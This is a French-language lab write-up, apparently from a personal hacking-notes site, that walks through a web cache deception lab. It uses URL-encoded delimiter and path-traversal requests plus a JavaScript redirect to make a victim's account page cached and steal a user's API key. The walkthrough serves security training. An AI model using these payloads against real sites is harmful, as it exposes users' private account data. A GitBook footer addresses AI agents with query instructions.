> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md).

# Tromper le cache via la normalisation côté serveur du cache

### Exploitation de la normalisation du serveur de cache pour la tromperie du cache Web

#### Objectif du laboratoire

Récupérer la \*\*clé API\*\* de l'utilisateur **carlos** en exploitant une **comportement de normalisation des URL** (différence d'interprétation entre l'application et le serveur de cache). / Connexion disponible : **wiener:peter**.

#### Observation initiale

Nous testons des suffixes statiques pour déclencher un cache :

* Requête de test :

```bash
GET /my-account~test.js
```

Il existe différentes réponses selon certains caractères, et le serveur accepte :

* `#`
* `?`
* `%23` (encodage URL pour `#`)
* `%3f` (encodage URL pour `?`)

<figure><img src="/files/faf961f19b494582bda6cd3be73fab226a51c334" alt=""><figcaption></figcaption></figure>

#### Point de terminaison intéressant également mis en cache

Le répertoire des ressources semble aussi être caché :

```http
GET /resources/ HTTP/2
```

C'est utile car nous allons essayer d'orienter le cache vers `/resources` tout en conservant une route interprétée par l'application comme `/my-account`.

<figure><img src="/files/cd13dbbd6e24ebe0aa4651bad87be7a0816975c9" alt=""><figcaption></figcaption></figure>

#### Technique : Fragment + Cross (avec normalisation)

Une URL est construite où l'application continue de traiter **/my-account**, mais où le cache normalise/interprète la séquence pour aboutir à **/resources**.

Tests :

```bash
GET /my-account#/../resources
# Version encodée (celle qui « passe » le mieux ici)
GET /my-account%23%2f%2e%2e%2fresources
```

Le point clé : **Le serveur de cache apprécie la version encodée en URL**, ce qui déclenche le comportement attendu.

<figure><img src="/files/aa39d3d1bcc89029eaf844c326307ddc4e235f8f" alt=""><figcaption></figcaption></figure>

#### Exploitation : forcer la victime à mettre la page en cache

Depuis le serveur d'exploitation, la victime est redirigée vers l'URL piégée :

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### Résultat

Une fois que la victime a parcouru cette URL, la ressource servie depuis le cache est récupérée et la \*\*clé API de Carlos\*\* est obtenue, ce qui valide le laboratoire.

<figure><img src="/files/0c8937fbe338bcc83be16bc4a2567585d791e9f6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
